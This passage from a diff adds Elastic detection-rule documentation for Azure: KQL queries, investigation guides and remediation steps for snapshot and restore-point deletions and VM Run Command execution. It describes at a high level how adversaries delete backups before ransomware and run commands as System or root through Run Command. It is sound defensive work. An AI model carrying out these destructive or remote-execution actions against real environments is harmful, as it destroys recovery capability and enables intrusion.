({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/role-based-access-control/built-in-roles + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Data Source: Azure Activity Logs +* Service: Azure Storage + +*Version*: 111 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Blob Storage Permissions Modified* + + +Azure Blob Storage is a service for storing large amounts of unstructured data. It uses Azure RBAC to manage access, ensuring only authorized users can modify or access data. Adversaries may exploit this by altering permissions to gain unauthorized access or disrupt operations. The detection rule monitors specific Azure activity logs for successful permission changes, alerting analysts to potential security breaches or misconfigurations. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the user or service principal associated with the permission modification event by examining the relevant fields such as `event.dataset` and `azure.activitylogs.operation_name`. +- Check the `event.outcome` field to confirm the success of the permission modification and gather details on the specific permissions that were altered. +- Investigate the context of the modification by reviewing recent activities of the identified user or service principal to determine if the change aligns with their typical behavior or role. +- Assess the potential impact of the permission change on the affected Azure Blob by evaluating the sensitivity of the data and the new access levels granted. +- Cross-reference the modification event with any recent security alerts or incidents to identify if this change is part of a broader attack pattern or misconfiguration issue. +- Consult with the relevant data owners or administrators to verify if the permission change was authorized and necessary, and if not, take corrective actions to revert the changes. + + +*False positive analysis* + + +- Routine administrative changes to Azure Blob permissions by authorized personnel can trigger alerts. To manage this, create exceptions for specific user accounts or roles that frequently perform legitimate permission modifications. +- Automated scripts or tools used for regular maintenance or deployment might modify permissions as part of their operation. Identify these scripts and exclude their activity from triggering alerts by using specific identifiers or tags associated with the scripts. +- Scheduled updates or policy changes that involve permission modifications can result in false positives. Document these schedules and adjust the monitoring rules to account for these timeframes, reducing unnecessary alerts. +- Integration with third-party services that require permission changes might cause alerts. Review and whitelist these services if they are verified and necessary for operations, ensuring they do not trigger false positives. + + +*Response and remediation* + + +- Immediately revoke any unauthorized permissions identified in the Azure Blob Storage to prevent further unauthorized access or data exposure. +- Conduct a thorough review of the Azure Activity Logs to identify any other suspicious activities or permission changes that may have occurred around the same time. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized changes and any potential data exposure. +- Implement additional monitoring on the affected Azure Blob Storage accounts to detect any further unauthorized access attempts or permission modifications. +- Escalate the incident to the incident response team if there is evidence of a broader security breach or if sensitive data has been compromised. +- Review and update Azure RBAC policies to ensure that only necessary permissions are granted, and consider implementing more granular access controls to minimize the risk of future unauthorized modifications. +- Conduct a post-incident analysis to identify the root cause of the permission change and implement measures to prevent similar incidents in the future, such as enhancing logging and alerting capabilities. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:( + "MICROSOFT.STORAGE/STORAGEACCOUNTS/BLOBSERVICES/CONTAINERS/BLOBS/MANAGEOWNERSHIP/ACTION" or + "MICROSOFT.STORAGE/STORAGEACCOUNTS/BLOBSERVICES/CONTAINERS/BLOBS/MODIFYPERMISSIONS/ACTION") and + event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-compute-restore-point-collection-deleted-by-unusual-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-compute-restore-point-collection-deleted-by-unusual-user.asciidoc new file mode 100644 index 0000000000..c2a032ac5e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-compute-restore-point-collection-deleted-by-unusual-user.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-34-azure-compute-restore-point-collection-deleted-by-unusual-user]] +=== Azure Compute Restore Point Collection Deleted by Unusual User + +Identifies the deletion of Azure Restore Point Collections by a user who has not previously performed this activity. Restore Point Collections contain recovery points for virtual machines, enabling point-in-time recovery capabilities. Adversaries may delete these collections to prevent recovery during ransomware attacks or to cover their tracks during malicious operations. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2023/07/25/storm-0501-ransomware-attacks-expanding-to-hybrid-cloud-environments/ + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware +* Rule Type: New Terms +* Platform: Azure + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Compute Restore Point Collection Deleted by Unusual User* + + +Azure Compute Restore Point Collections are critical components for disaster recovery, containing snapshots that enable point-in-time +recovery of virtual machines. Deletion of these collections can severely impact an organization's ability to recover from +incidents, making them attractive targets for adversaries conducting ransomware attacks or attempting to cover their tracks. + +This rule detects when a user who has not previously deleted Restore Point Collections performs this operation, which may +indicate unauthorized activity or a compromised account. + + +*Possible investigation steps* + + +- Review the `azure.activitylogs.identity.claims_initiated_by_user.name` field to identify the specific user who performed the deletion operation. +- Investigate the `azure.resource.id` or `azure.resource.name` fields to identify which Restore Point Collection was deleted and assess its criticality to business operations. +- Review the timeline of the deletion event and correlate it with other security events or user activities to identify any suspicious patterns or related activities. +- Verify whether the user account has legitimate access to perform this operation and whether this deletion was authorized through change management processes. +- Check for any other unusual activities by the same user account around the time of the deletion, such as privilege escalation attempts or access to other sensitive resources. +- Investigate whether there are any active alerts or indicators of compromise related to ransomware activity in the environment. + + +*False positive analysis* + + +- Routine administrative activities by infrastructure teams may trigger this alert when team members rotate or new administrators are onboarded. Create exceptions for known administrative accounts after verification. +- Automated cleanup scripts or Azure policies that periodically remove old restore points may cause alerts. Identify and exclude service accounts used for these automated operations. +- Planned decommissioning activities or migration projects may involve legitimate deletion of restore point collections. Document these activities and create temporary exceptions during known maintenance windows. +- Testing and development environments may see frequent creation and deletion of resources. Consider excluding these environments from monitoring or adjusting the rule to focus on production resources only. + + +*Response and remediation* + + +- Immediately verify the legitimacy of the deletion operation with the user or their manager. If the activity is unauthorized, proceed with incident response procedures. +- If unauthorized deletion is confirmed, immediately isolate the affected user account to prevent further malicious activity. Reset credentials and review account permissions. +- Check if the deleted Restore Point Collection can be recovered through Azure backup services or other recovery mechanisms. +- Review and audit all recent activities performed by the affected user account to identify other potentially malicious actions. +- Assess the impact on disaster recovery capabilities and inform relevant stakeholders about potential recovery limitations. +- Review access controls and permissions for Restore Point Collection management, implementing principle of least privilege where necessary. +- If ransomware activity is suspected, escalate to the security incident response team and implement broader containment measures, including checking for other indicators of ransomware such as deletion of Recovery Services vaults or backup fabric containers. +- Document the incident and update detection rules or procedures based on lessons learned. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.activitylogs and + event.action: "MICROSOFT.COMPUTE/RESTOREPOINTCOLLECTIONS/DELETE" and + event.outcome: (Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-compute-restore-point-collections-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-compute-restore-point-collections-deleted.asciidoc new file mode 100644 index 0000000000..cd7b3b16d8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-compute-restore-point-collections-deleted.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-34-azure-compute-restore-point-collections-deleted]] +=== Azure Compute Restore Point Collections Deleted + +Identifies multiple Azure Restore Point Collections being deleted by a single user within a short time period. Restore Point Collections contain recovery points for virtual machines, enabling point-in-time recovery capabilities. Mass deletion of these collections is a common tactic used by adversaries during ransomware attacks to prevent victim recovery or to maximize impact during destructive operations. Multiple deletions in rapid succession may indicate malicious intent. + +*Rule type*: threshold + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2023/07/25/storm-0501-ransomware-attacks-expanding-to-hybrid-cloud-environments/ + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware +* Rule Type: Threshold +* Platform: Azure + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Compute Restore Point Collections Deleted* + + +Azure Compute Restore Point Collections are essential for disaster recovery, containing snapshots that enable point-in-time recovery +of virtual machines. The ability to quickly restore VMs from these recovery points is critical for business continuity and +incident response. + +Adversaries conducting ransomware attacks or destructive operations often target backup and recovery infrastructure to +prevent victims from recovering their systems without paying a ransom. Mass deletion of Restore Point Collections is a +key indicator of such activity and represents a significant threat to an organization's resilience. + +This rule detects when a single user deletes multiple Restore Point Collections within a short time window, which is +unusual in normal operations and highly suspicious when observed. + + +*Possible investigation steps* + + +- Identify the user account responsible for the deletions by examining the `azure.activitylogs.identity.claims_initiated_by_user.name` or `user.name` field in the alerts. +- Review all deletion events from this user in the specified time window to determine the scope and scale of the activity. +- Check the `azure.resource.id` and `azure.resource.name` fields to identify which Restore Point Collections were deleted and assess their criticality to business operations. +- Verify whether the user account has legitimate administrative access and whether these deletions were authorized through change management or documented maintenance activities. +- Investigate the timeline of events leading up to the deletions, looking for other suspicious activities such as: + - Privilege escalation attempts + - Deletion of other backup resources (Recovery Services vaults, backup policies) + - Unusual authentication patterns or geographic anomalies + - Creation of persistence mechanisms or backdoor accounts +- Review Azure Activity Logs for any failed deletion attempts or access denied events that might indicate reconnaissance activities preceding the successful deletions. +- Check for related data destruction activities, such as deletion of virtual machines, disks, or storage accounts. +- Correlate with sign-in logs to identify any unusual login patterns or potential account compromise indicators. + + +*False positive analysis* + + +- Large-scale decommissioning projects may involve legitimate deletion of multiple Restore Point Collections. Verify with change management records and create temporary exceptions during documented maintenance windows. +- Infrastructure migrations from Azure to another platform or between Azure regions may involve cleanup of old restore points. Confirm these activities are planned and documented before excluding them from monitoring. +- Automated cleanup scripts designed to manage storage costs by removing old restore points might trigger this alert. Identify the service accounts used for these operations and adjust the threshold or create exceptions as appropriate. +- Testing and development environments that are frequently rebuilt may see regular bulk deletion of resources. Consider excluding non-production environments or adjusting the threshold for these subscriptions. +- Review the threshold value (currently set to 3) and adjust based on your environment's baseline if legitimate administrative activities are frequently triggering false positives. + + +*Response and remediation* + + +- Immediately isolate the affected user account to prevent further malicious activity. Reset credentials and revoke active sessions. +- Verify the legitimacy of the deletions with the account owner or their manager. If unauthorized, treat this as a confirmed security incident and activate incident response procedures. +- Check if any of the deleted Restore Point Collections can be recovered through Azure backup services, soft-delete features, or other recovery mechanisms. Time is critical as retention policies may limit recovery windows. +- Conduct a comprehensive review of all recent activities by the affected user account across the Azure environment to identify other potentially malicious actions or compromised resources. +- Assess the current disaster recovery posture and identify which VMs are now missing recovery points. Prioritize creation of new restore points for critical systems if they are unaffected. +- Review and strengthen access controls for Restore Point Collection management, implementing stricter RBAC policies and requiring multi-factor authentication for privileged operations. +- If ransomware activity is suspected or confirmed: + - Activate the organization's ransomware response plan + - Isolate affected systems to prevent spread + - Search for ransomware indicators across the environment (encrypted files, ransom notes, suspicious processes) + - Check for deletion of other recovery resources (Recovery Services vaults, backups, snapshots) + - Do not pay ransom demands; engage with law enforcement and cybersecurity incident response teams +- Implement additional monitoring and alerting for related activities such as: + - Deletion of Recovery Services resources + - Modifications to backup policies + - Unusual access to disaster recovery infrastructure +- Document the incident thoroughly and conduct a post-incident review to identify gaps in security controls and opportunities for improvement. +- Consider implementing Azure Resource Locks on critical recovery resources to prevent accidental or malicious deletion. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.activitylogs and + event.action: "MICROSOFT.COMPUTE/RESTOREPOINTCOLLECTIONS/DELETE" and + event.outcome: (Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-compute-snapshot-deletion-by-unusual-user-and-resource-group.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-compute-snapshot-deletion-by-unusual-user-and-resource-group.asciidoc new file mode 100644 index 0000000000..7d170e7301 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-compute-snapshot-deletion-by-unusual-user-and-resource-group.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-34-azure-compute-snapshot-deletion-by-unusual-user-and-resource-group]] +=== Azure Compute Snapshot Deletion by Unusual User and Resource Group + +Identifies when an Azure disk snapshot is deleted by an unusual user in a specific resource group. Snapshots are critical for backup, disaster recovery, and forensic analysis. Adversaries may delete snapshots to prevent data recovery, eliminate forensic evidence, or disrupt backup strategies before executing ransomware or other destructive attacks. Monitoring snapshot deletions is essential for detecting potential attacks targeting backup and recovery capabilities. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.activitylogs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Threat: Ransomware +* Rule Type: New Terms +* Platform: Azure + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Compute Snapshot Deletion by Unusual User and Resource Group* + + +Azure disk snapshots provide point-in-time copies of managed disks, serving as critical components for backup strategies, disaster recovery plans, and forensic investigations. Snapshots enable organizations to restore data and reconstruct system states after security incidents. Adversaries aware of backup strategies may delete snapshots to prevent recovery, eliminate forensic evidence, or maximize impact before executing ransomware attacks. This detection monitors for snapshot deletion operations to identify potential attempts to compromise backup and recovery capabilities. This is a New Terms rule that looks for this behavior by a user and resource group that has not been seen in the last 7 days. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the user or service principal that initiated the snapshot deletion by examining the principal ID, UPN and user agent fields. +- Check the specific snapshot name in `azure.resource.name` to understand which backup was deleted and assess the potential impact on recovery capabilities. +- Investigate the timing of the event to correlate with any other suspicious activities, such as unusual login patterns, privilege escalation attempts, or other resource deletions. +- Examine the user's recent activity history to identify any other snapshots, disks, or Azure resources that were deleted or modified by the same principal. +- Verify if the snapshot deletion aligns with approved change requests, maintenance windows, or data retention policies in your organization. +- Check if other backup-related resources (backup vaults, recovery services) were accessed or modified around the same time. +- Review any related alerts or activities such as data encryption, VM modifications, or access policy changes that occurred before the deletion. +- Investigate if the account was recently compromised by checking for suspicious authentication events or privilege escalations. + + +*False positive analysis* + + +- Legitimate cleanup of expired snapshots according to data retention policies may trigger this alert. Document approved retention management processes and consider creating exceptions for automated retention tools or scheduled cleanup activities. +- DevOps automation tools might delete temporary snapshots created during deployment or testing processes. Identify service principals used by CI/CD pipelines and consider time-based exceptions during deployment windows. +- Storage optimization initiatives may involve deleting old or redundant snapshots to reduce costs. Coordinate with infrastructure teams to understand planned optimization activities and create exceptions during documented maintenance windows. +- Disaster recovery testing may involve creating and deleting test snapshots. Work with business continuity teams to identify these patterns and create exceptions during scheduled DR testing periods. + + +*Response and remediation* + + +- Immediately investigate whether the deletion was authorized by verifying with the account owner, backup administrators, or relevant stakeholders. +- If the deletion was unauthorized, disable the compromised user account or service principal immediately to prevent further damage. +- Check if the snapshot can be recovered through Azure backup services or soft-delete capabilities if enabled. +- Create new snapshots of critical disks immediately if the deleted snapshot was part of your backup strategy. +- Review and audit all Azure RBAC permissions to identify how the attacker gained snapshot deletion capabilities. +- Conduct a full security assessment to identify the initial access vector and any other compromised accounts or resources. +- Implement Azure Resource Locks on critical snapshots to prevent accidental or malicious deletion. +- Configure Azure Policy to restrict snapshot deletion permissions to only authorized backup administrators. +- Enable Azure Activity Log alerts to notify security teams immediately when snapshots are deleted. +- Review backup and disaster recovery procedures to ensure redundant backup mechanisms exist beyond Azure snapshots. +- Document the incident and update security policies and procedures to prevent similar incidents in the future. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.activitylogs and + azure.activitylogs.operation_name: "MICROSOFT.COMPUTE/SNAPSHOTS/DELETE" and + azure.activitylogs.properties.status_code: "Accepted" and + azure.activitylogs.identity.claims_initiated_by_user.name: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-compute-snapshot-deletions-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-compute-snapshot-deletions-by-user.asciidoc new file mode 100644 index 0000000000..cf3af0317e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-compute-snapshot-deletions-by-user.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-34-azure-compute-snapshot-deletions-by-user]] +=== Azure Compute Snapshot Deletions by User + +Identifies when a single user or service principal deletes multiple Azure disk snapshots within a short time period. This behavior may indicate an adversary attempting to inhibit system recovery capabilities, destroy backup evidence, or prepare for a ransomware attack. Mass deletion of snapshots eliminates restore points and significantly impacts disaster recovery capabilities, making it a critical indicator of potentially malicious activity. + +*Rule type*: threshold + +*Rule indices*: + +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Ransomware +* Rule Type: Threshold +* Platform: Azure + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Compute Snapshot Deletions by User* + + +Azure disk snapshots are critical backup and recovery resources that enable organizations to restore data and investigate security incidents. Mass deletion of snapshots is a highly suspicious activity commonly associated with ransomware preparation, evidence destruction, or sabotage operations. Adversaries frequently target snapshots to prevent victims from recovering data without paying ransom or to eliminate forensic evidence of their activities. This detection identifies when a single identity deletes multiple snapshots in a short timeframe, which is rarely performed by legitimate administrators except during controlled maintenance activities. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the user or service principal that initiated the multiple snapshot deletions by examining the principal ID, UPN and user agent fields in `azure.activitylogs.identity.claims_initiated_by_user.name`. +- Check the specific snapshot names in `azure.resource.name` to understand which backups were deleted and assess the overall impact on recovery capabilities. +- Investigate the timing and sequence of deletions to determine if they followed a pattern consistent with automated malicious activity or manual destruction. +- Examine the user's recent activity history including authentication events, privilege changes, and other Azure resource modifications to identify signs of account compromise. +- Verify if the snapshot deletions align with approved change requests, maintenance windows, or data retention policies in your organization. +- Check if other backup-related resources (backup vaults, recovery services, additional snapshots) were also accessed or modified by the same principal. +- Review any related alerts or activities such as VM encryption, disk modifications, or unusual data access that occurred before the deletions. +- Investigate if other Azure resources (VMs, disks, storage accounts) were also deleted or modified by the same principal. +- Check the authentication source and location to identify if the activity originated from an expected network location or potentially compromised session. +- Determine if any remaining snapshots or alternative backups exist for the affected resources. + + +*False positive analysis* + + +- Legitimate bulk cleanup of expired snapshots according to data retention policies may trigger this alert. Document approved retention management processes and coordinate with infrastructure teams to create exceptions during planned maintenance windows. +- Infrastructure-as-Code (IaC) automation tools or backup management solutions may delete multiple expired snapshots. Identify service principals used by backup retention tools and consider creating exceptions for these identities when following documented retention schedules. +- Cost optimization initiatives may involve bulk deletion of old or redundant snapshots. Coordinate with finance and infrastructure teams to understand planned optimization activities and schedule them during documented maintenance windows. +- Disaster recovery testing or environment teardown may involve deletion of multiple test snapshots. Work with business continuity and DevOps teams to identify these patterns and create time-based exceptions during testing periods. +- Storage migration or consolidation projects may require deletion of old snapshots. Coordinate with infrastructure teams to understand planned migration activities and create exceptions during documented project timelines. + + +*Response and remediation* + + +- Immediately investigate whether the deletions were authorized by verifying with backup administrators, infrastructure teams, or relevant stakeholders. +- If the deletions were unauthorized, disable the compromised user account or service principal immediately to prevent further damage. +- Check if any snapshots can be recovered through Azure backup services, soft-delete capabilities, or alternative backup mechanisms. +- Create new snapshots of all critical disks immediately to establish new restore points if the deleted snapshots were part of your backup strategy. +- Review and audit all Azure RBAC permissions to identify how the attacker gained snapshot deletion capabilities and remove excessive permissions. +- Conduct a full security assessment to identify the initial access vector, any other compromised accounts, and potential lateral movement. +- Implement Azure Resource Locks on all critical snapshots and backup resources to prevent accidental or malicious deletion. +- Configure Azure Policy to restrict snapshot deletion permissions to only authorized backup administrators and require approval workflows for deletion operations. +- Enable Azure Activity Log alerts and configure notifications to security teams immediately when snapshots are deleted. +- Review and enhance backup strategies to ensure redundant backup mechanisms exist beyond Azure snapshots, including geo-redundant backups and offline copies. +- Escalate the incident to the security operations center (SOC) or incident response team for investigation of potential ransomware preparation or broader compromise. +- Document the incident and update security policies, playbooks, and procedures to prevent similar incidents in the future. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.activitylogs and + azure.activitylogs.operation_name: "MICROSOFT.COMPUTE/SNAPSHOTS/DELETE" and + azure.activitylogs.properties.status_code: "Accepted" and + azure.activitylogs.identity.claims_initiated_by_user.name: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-compute-vm-command-executed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-compute-vm-command-executed.asciidoc new file mode 100644 index 0000000000..af3815401f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-compute-vm-command-executed.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-azure-compute-vm-command-executed]] +=== Azure Compute VM Command Executed + +Identifies synchronous command execution on a virtual machine (VM) or virtual machine scale set (VMSS) in Azure via the action-based Run Command ("runCommand/action"). A Virtual Machine Contributor role lets you manage virtual machines, but not access them, nor access the virtual network or storage account they’re connected to. However, commands can be run on the VM via the Run Command feature, which execute as System (Windows) or root (Linux). Other roles, such as certain Administrator roles, may be able to execute commands on a VM as well. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://adsecurity.org/?p=4277 +* https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a +* https://docs.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-contributor +* https://www.netspi.com/blog/technical-blog/adversary-simulation/7-ways-to-execute-command-on-azure-virtual-machine-virtual-machine-scale-sets/ +* https://hackingthe.cloud/azure/run-command-abuse/ +* https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command-managed + +*Tags*: + +* Domain: Cloud +* Domain: Endpoint +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: New Terms +* Platform: Azure + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Compute VM Command Executed* + + +Azure Virtual Machines (VMs) allow users to run applications and services in the cloud. While roles like Virtual Machine Contributor can manage VMs, they typically can't access them directly. However, commands can be executed remotely via PowerShell, running as System. Adversaries may exploit this to execute unauthorized commands. The detection rule monitors Azure activity logs for command execution events, flagging successful operations to identify potential misuse. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the specific user or service principal that initiated the command execution event, focusing on the operation_name values "MICROSOFT.COMPUTE/VIRTUALMACHINES/RUNCOMMAND/ACTION" and "MICROSOFT.COMPUTE/VIRTUALMACHINESCALESETS/VIRTUALMACHINES/RUNCOMMAND/ACTION". +- Identify the VM in question via the `azure.resource.name` field. This can aid with pivoting into endpoint analysis of the commands executed. +- Check the event.outcome field to confirm the success of the command execution and gather details about the command executed. +- Investigate the role and permissions of the user or service principal involved to determine if they have legitimate reasons to execute commands on the VM. +- Analyze the context of the command execution, including the time and frequency of the events, to identify any unusual patterns or anomalies. +- Correlate the command execution event with other logs or alerts from the same time period to identify any related suspicious activities or potential lateral movement. +- If unauthorized access is suspected, review the VM's security settings and access controls to identify and mitigate any vulnerabilities or misconfigurations. + + +*False positive analysis* + + +- Routine maintenance tasks executed by IT administrators can trigger the rule. To manage this, create exceptions for known maintenance scripts or scheduled tasks that are regularly executed. +- Automated deployment processes that use PowerShell scripts to configure or update VMs may be flagged. Identify these processes and exclude them from the rule to prevent unnecessary alerts. +- Security tools or monitoring solutions that perform regular checks on VMs might execute commands that are benign. Whitelist these tools by identifying their specific command patterns and excluding them from detection. +- Development and testing environments often involve frequent command executions for testing purposes. Consider excluding these environments from the rule or setting up a separate monitoring policy with adjusted thresholds. +- Ensure that any exclusion or exception is documented and reviewed periodically to maintain security posture and adapt to any changes in the environment or processes. + + +*Response and remediation* + + +- Immediately isolate the affected virtual machine from the network to prevent further unauthorized command execution and potential lateral movement. +- Review the Azure activity logs to identify the source of the command execution and determine if it was authorized or part of a larger attack pattern. +- Revoke any unnecessary permissions from users or roles that have the ability to execute commands on virtual machines, focusing on those with Virtual Machine Contributor roles. +- Conduct a thorough investigation of the executed commands to assess any changes or impacts on the system, and restore the VM to a known good state if necessary. +- Implement additional monitoring and alerting for similar command execution activities, ensuring that any future unauthorized attempts are detected promptly. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems or data may have been compromised. +- Review and update access control policies and role assignments to ensure that only necessary permissions are granted, reducing the risk of similar incidents in the future. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and + azure.activitylogs.operation_name:( + "MICROSOFT.COMPUTE/VIRTUALMACHINES/RUNCOMMAND/ACTION" or + "MICROSOFT.COMPUTE/VIRTUALMACHINESCALESETS/VIRTUALMACHINES/RUNCOMMAND/ACTION" + ) and event.outcome:(Success or success) and + azure.activitylogs.identity.authorization.evidence.principal_id: * and + source.as.number: * and + azure.resource.name: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: 